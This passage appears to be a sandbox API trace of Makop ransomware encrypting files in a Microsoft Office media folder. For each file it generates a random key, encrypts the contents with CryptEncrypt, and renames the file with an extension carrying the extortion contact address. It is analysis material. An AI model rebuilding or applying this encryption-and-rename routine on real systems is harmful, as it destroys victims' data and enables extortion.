office\\media\\cagcat10\\j0183290.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.092] CloseHandle (hObject=0xf0) returned 1 [0162.092] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0162.092] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF") returned 61 [0162.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.093] GetProcessHeap () returned 0x48a0000 [0162.094] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.094] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0162.102] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.102] GetProcessHeap () returned 0x48a0000 [0162.102] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.102] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.102] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.103] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.103] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.104] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14fa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14fa, lpOverlapped=0x0) returned 1 [0162.105] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1500, dwBufLen=0x1500 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1500) returned 1 [0162.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.105] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1500, lpOverlapped=0x0) returned 1 [0162.106] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.106] SetEndOfFile (hFile=0xf0) returned 1 [0162.113] GetProcessHeap () returned 0x48a0000 [0162.113] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.113] GetProcessHeap () returned 0x48a0000 [0162.113] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.113] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.115] CloseHandle (hObject=0xf0) returned 1 [0162.115] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0162.115] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF") returned 61 [0162.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.117] GetProcessHeap () returned 0x48a0000 [0162.117] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.117] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.121] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.121] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.121] GetProcessHeap () returned 0x48a0000 [0162.121] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.121] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.121] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.122] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.122] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.122] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.122] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.122] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.122] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.122] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.123] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x171c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x171c, lpOverlapped=0x0) returned 1 [0162.124] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1720, dwBufLen=0x1720 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1720) returned 1 [0162.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1720, lpOverlapped=0x0) returned 1 [0162.125] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.125] SetEndOfFile (hFile=0xf0) returned 1 [0162.131] GetProcessHeap () returned 0x48a0000 [0162.131] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.131] GetProcessHeap () returned 0x48a0000 [0162.131] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.131] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.133] CloseHandle (hObject=0xf0) returned 1 [0162.133] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0162.133] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF") returned 61 [0162.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.136] GetProcessHeap () returned 0x48a0000 [0162.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.136] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.136] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0162.140] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.140] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.140] GetProcessHeap () returned 0x48a0000 [0162.140] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.140] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.140] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.140] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.142] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.142] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2f64, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2f64, lpOverlapped=0x0) returned 1 [0162.144] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f70, dwBufLen=0x2f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f70) returned 1 [0162.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2f70, lpOverlapped=0x0) returned 1 [0162.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.145] SetEndOfFile (hFile=0xf0) returned 1 [0162.152] GetProcessHeap () returned 0x48a0000 [0162.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.152] GetProcessHeap () returned 0x48a0000 [0162.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.152] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.154] CloseHandle (hObject=0xf0) returned 1 [0162.154] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0162.154] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF") returned 61 [0162.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.155] GetProcessHeap () returned 0x48a0000 [0162.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.155] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0162.160] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.160] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.160] GetProcessHeap () returned 0x48a0000 [0162.160] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.160] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.160] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.161] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.161] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.162] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b3a, lpOverlapped=0x0) returned 1 [0162.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b40, dwBufLen=0x1b40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b40) returned 1 [0162.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b40, lpOverlapped=0x0) returned 1 [0162.166] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.166] SetEndOfFile (hFile=0xf0) returned 1 [0162.172] GetProcessHeap () returned 0x48a0000 [0162.172] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.172] GetProcessHeap () returned 0x48a0000 [0162.172] HeapFree 